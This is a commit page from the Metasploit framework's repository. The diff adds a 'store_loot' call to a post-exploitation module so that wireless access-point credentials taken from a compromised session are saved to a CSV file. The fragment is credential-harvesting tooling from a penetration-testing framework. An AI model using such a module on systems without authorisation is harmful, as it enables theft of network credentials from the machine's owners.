store loot

GSoC/Meterpreter_Web_Console
Auxilus 2018-05-01 23:10:29 +05:30 committed by GitHub
parent 29467c2e37
commit 9b00a5cffb
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 9 additions and 0 deletions

View File

@ -66,6 +66,15 @@ class MetasploitModule < Msf::Post
end end
print_line(ap_tbl.to_s) print_line(ap_tbl.to_s)
p = store_loot(
'wireless.ap.creds',
'text/csv',
session,
ap_tbl.to_csv,
File.basename('wireless_ap_credentials.txt')
)
print_good("Secrets stored in: #{p}")
end end
def search_token(block, token) def search_token(block, token)